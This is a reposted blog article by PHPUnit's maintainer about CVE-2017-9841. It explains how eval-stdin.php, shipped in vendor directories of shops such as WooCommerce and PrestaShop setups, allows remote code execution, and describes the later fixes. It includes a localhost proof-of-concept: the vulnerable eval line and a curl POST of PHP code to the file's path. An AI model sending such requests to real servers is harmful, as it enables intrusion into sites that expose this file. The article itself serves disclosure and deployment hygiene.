PHPUnit: A Security Risk?

栏目: IT技术 · 发布时间: 4年前

内容简介:One week before Christmas 2017, I received an email with the following subject: "A file from Sebastian Bergmann PHP Unit leads to total failure" (sic).The sender of this email was the employee responsible for the operation of the online shop at a jeweler.

One week before Christmas 2017, I received an email with the following subject: "A file from Sebastian Bergmann PHP Unit leads to total failure" (sic).

PHPUnit: A Security Risk?

The sender of this email was the employee responsible for the operation of the online shop at a jeweler. In his e-mail he wrote, among other things, "[our hosting provider] closed our domain in the middle of Christmas sales" and further "a lot of business is lost here".

What happened? Is PHPUnit a security risk? Did I even try to hack the jeweler's online shop? In this article I would like to investigate these questions.

From the email I was able to conclude that the jeweler's online shop is based on Wordpress as well as the WooCommerce plugin for Wordpress and the Google Product Feed plugin for WooCommerce. One or more of these components was delivered together with (an outdated version of) PHPUnit, which contained the file eval-stdin.php . In the course of an automated scan for files that contain known security vulnerabilities such as CVE-2017-9841 , the jeweler's hosting provider discovered the file eval-stdin.php , took the jeweler's host offline, and then informed the person responsible about this measure.

The jeweler's employee responsible for the online shop looked at the contents of the file eval-stdin.php . After all, the hosting provider had explicitly referred to this file. In this file he found the copyright header "This file is part of PHPUnit. (C) Sebastian Bergmann <sebastian@phpunit.de>" Then he wrote me his email. Believing that I was responsible for the file being on his web server.

The story of eval-stdin.php

The file eval-stdin.php was added to PHPUnit in November 2015 in order to be able to run tests in separate PHP processes even if the PHP debugger phpdbg is used instead of the regular command line interpreter ( php ).

eval-stdin.php originally only contained a single line of PHP code:

1

eval   ( '?>' .   \ file_get_contents ( 'php://input' ) ) ;

If the line of code shown above is executed by the PHP command line interpreter, it does exactly what you may have already guessed by reading the file's name: it executes PHP code that is read from the standard data stream for input ( stdin ). This execution of code that is read from stdin does not pose a security risk when PHPUnit is used in a development environment on the command line. And only there should PHPUnit be executed.

The PHPUnit documentation is clear on this:

PHPUnit is a framework for writing as well as a commandline tool for running tests. Writing and running tests is a development-time activity. There is no reason why PHPUnit should be installed on a webserver. If you upload PHPUnit to a webserver then your deployment process is broken. On a more general note, if your vendor directory is publicly accessible on your webserver then your deployment process is also broken. Please note that if you upload PHPUnit to a webserver “bad things” may happen. You have been warned.

If you make eval-stdin.php publicly accessible on a web server, this file can be used for a Remote Code Execution attack, since in this context php://input provides access to, for example, HTTP POST payload data that is sent from the HTTP client to the web server. On June 27, 2017, the entry CVE-2017-9841 for this attack vector was added to the Common Vulnerabilities and Exposures database.

But how can CVE-2017-9841 be exploited?

First we create a directory in which we work:

$ mkdir /tmp/CVE-2017-9841 $ cd /tmp/CVE-2017-9841

Now we install PHPUnit 5.6.2 using Composer:

$ composer require --dev phpunit/phpunit:5.6.2

PHPUnit 5.6.2, released on October 25, 2016 , is the last version of PHPUnit which accesses php://input in eval-stdin.php .

Now we can use the web server built into the PHP command line interpreter to make the contents of our directory accessible via localhost:8080 :

$ php -S localhost:8080 -t .

In another shell, we can finally send an HTTP POST request with PHP code as a payload:

$ curl --data "<?php print str_rot13('V pna erzbgryl rkrphgr CUC pbqr ba lbhe freire');" http://localhost:8080/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

The output we get proves that remote code execution is possible:

I can remotely execute PHP code on your server

On November 13, 2016 the single line of code in eval-stdin.php was changed:

1

eval ( '?>'   .   \ file_get_contents ( 'php://stdin' ) ) ;

The change from php://input to php://stdin addressed a problem that is not relevant from a security perspective: tests that are supposed to be run in a separate PHP process were not run at all. But just because a code change is not motivated by a security problem does not mean that it does not have an impact on security aspects.

On December 10, 2019 I added an explicit safeguard to the script which allows the execution of eval-stdin.php only in the context of the command line:

1 2 3 4 5

if   ( \ PHP_SAPI   !==   'cli'   &&   \ PHP_SAPI   !==   'phpdbg' )   {      exit ( 1 ) ; } eval ( '?>'   .   \ file_get_contents ( 'php://stdin' ) ) ;

I did not make this change because I was aware of a way to exploit the code as it was before this change for remote code execution. I only learned of this possibility later in a comment on the commit that changed the code as shown above.

The php://input stream allows access to an HTTP post request's payload regardless of how PHP is integrated with the web server. It does not matter whether PHP is loaded as a module in the Apache HTTPD or used by a web server such as nginx via FastCGI, for example.

An HTTP post payload can only be accessed via the php://stdin stream if PHP is used by the web server via CGI or FastCGI. I was not sure if php://stdin really behaves like this, so I reached out to PHP core developers. Joe Watkins and Christoph M. Becker were able to confirm that php://stdin behaves like this and that its implementation is based on the specifications for CGI and FastCGI, which mandate access to the request payload via the standard input stream.

In retrospect, you are always smarter and it would probably have made sense to limit the execution of eval-stdin.php to cli and phpdbg from the start. However, such a limitation should not be necessary at all, since there is no reason to run PHPUnit outside the context of the development environment and command line. Rather, it is irresponsible if PHPUnit is available in contexts other than those mentioned.

Late Consequences

I was contacted by the vendor of PrestaShop, an Open Source E-Commerce software, on January 6, 2020. They informed me that eval-stdin.php can be exploited for remote code execution when PHPUnit is publicly available on the web server and FastCGI is used to integrate PHP with that web server.

On January 7, 2020, a critical vulnerability in PrestaShop was made public. The root cause for this security vulnerability was the fact that PrestaShop was distributed with PHPUnit and therefore contained the eval-stdin.php script.

I investigated what it would take to remove eval-stdin.php from PHPUnit once and for all. I was surprised to learn that the file had not been used since July 2018 .

It irks me that I did not notice that eval-stdin.php can be deleted back in July 2018. As of PHPUnit 7.5.20 and PHPUnit 8.5.2 , released on January 8, 2020, the file eval-stdin.php is finally no longer a part of PHPUnit.

And the moral of this story

Regardless of how PHP is integrated with a web server, for instance as a module for Apache HTTPD or via PHP-FPM with nginx, there are two important rules to be followed when deploying PHP applications:

vendor

I feel pity for everyone who has installed a version of PHPUnit with a vulnerable eval-stdin.php file on their web server by installing PrestaShop or WooCommerce, for example.

However, I find it irresponsible and reckless if the vendors of such standard solutions, which have end users such as the jeweler mentioned at the beginning as their target audience, deliver their software with dependencies such as PHPUnit in their vendor directory and prompt the users to upload them to the document root of a public webserver.


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

缺失的终结

缺失的终结

【美】克尔•哈里斯 / 艾博 / 中国人民大学出版社 / 2017-6-15 / 39.00元

《缺失的终结》是一本反思互联网时代对普通人日常生活影响的书。作者认为,我们都曾渴望有一段远离现实生活烦扰的“瓦尔登湖”时光,悠闲地沉入自己的内心世界,从飞速变化的漩涡中暂时“缺失”。然而,互联网生活让我们每时每刻被互联网化,手环监测着我们的心跳和睡眠,微信、脸书、推特让我们人在床上就与世界链接起来,跑步了吗?走路了吗?英语单词背了吗?早餐的卡路里是否超标?坐在办公室,无数亟待处理的信息狂风暴雨般地......一起来看看 《缺失的终结》 这本书的介绍吧!

随机密码生成器
随机密码生成器

多种字符组合密码

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具